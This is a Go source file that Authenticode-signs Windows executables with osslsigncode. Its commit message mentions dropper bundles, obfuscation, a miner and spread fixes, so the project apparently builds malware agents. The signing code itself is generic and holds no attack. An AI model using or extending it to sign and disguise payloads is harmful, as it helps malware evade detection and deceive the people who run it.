8466c7aa9b
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
87 lines
2.5 KiB
Go
87 lines
2.5 KiB
Go
//go:build !windows
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package builder
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import (
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"fmt"
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"log"
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"os/exec"
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"strings"
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)
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func signingToolMissingNote() string {
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return "Code signing requested but osslsigncode is not installed — apt install osslsigncode (or brew install osslsigncode)."
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}
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func (h *Handler) signingToolAvailable() bool {
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if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
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if _, err := exec.LookPath(tool); err == nil {
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return true
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}
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}
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_, err := exec.LookPath("osslsigncode")
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return err == nil
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}
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// shouldSignBuild returns true when signing is configured AND osslsigncode is available.
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// On Linux/macOS we can sign Windows PE files with osslsigncode + a PFX certificate.
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// Install: apt install osslsigncode / brew install osslsigncode
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func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
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if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
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return false
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}
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if !req.SignBuild {
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return false
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}
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_, err := exec.LookPath("osslsigncode")
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if err != nil {
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log.Printf("[Forge] sign requested but osslsigncode not found — install with: apt install osslsigncode (or brew install osslsigncode)")
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return false
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}
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return true
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}
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// signExecutable signs a Windows PE binary using osslsigncode.
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// Requires: osslsigncode on PATH and a PFX certificate file set in sign_tool_path.
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// The sign_cert_thumbprint field is repurposed as the path to the .pfx file on non-Windows.
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func (h *Handler) signExecutable(path string) error {
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policy := h.policy.Sign
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pfxPath := strings.TrimSpace(policy.CertThumbprint)
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if pfxPath == "" {
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return fmt.Errorf("sign_cert_thumbprint must contain the path to a .pfx certificate file on Linux/macOS")
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}
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tsURL := strings.TrimSpace(policy.TimestampURL)
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if tsURL == "" {
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tsURL = "http://timestamp.digicert.com"
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}
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// osslsigncode usage: osslsigncode sign -pkcs12 <pfx> -ts <url> -in <file> -out <file>
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// We sign in-place by writing to a temp path then replacing.
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tmpPath := path + ".signed"
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args := []string{
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"sign",
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"-pkcs12", pfxPath,
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"-ts", tsURL,
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"-h", "sha2",
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"-in", path,
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"-out", tmpPath,
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}
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osslBin, _ := exec.LookPath("osslsigncode")
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cmd := exec.Command(osslBin, args...)
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out, err := cmd.CombinedOutput()
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if err != nil {
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return fmt.Errorf("osslsigncode: %w (%s)", err, strings.TrimSpace(string(out)))
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}
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// Replace the original with the signed copy
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if err := exec.Command("mv", tmpPath, path).Run(); err != nil {
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return fmt.Errorf("could not replace binary with signed version: %w", err)
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}
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log.Printf("[Forge] Signed %s via osslsigncode", path)
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return nil
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}
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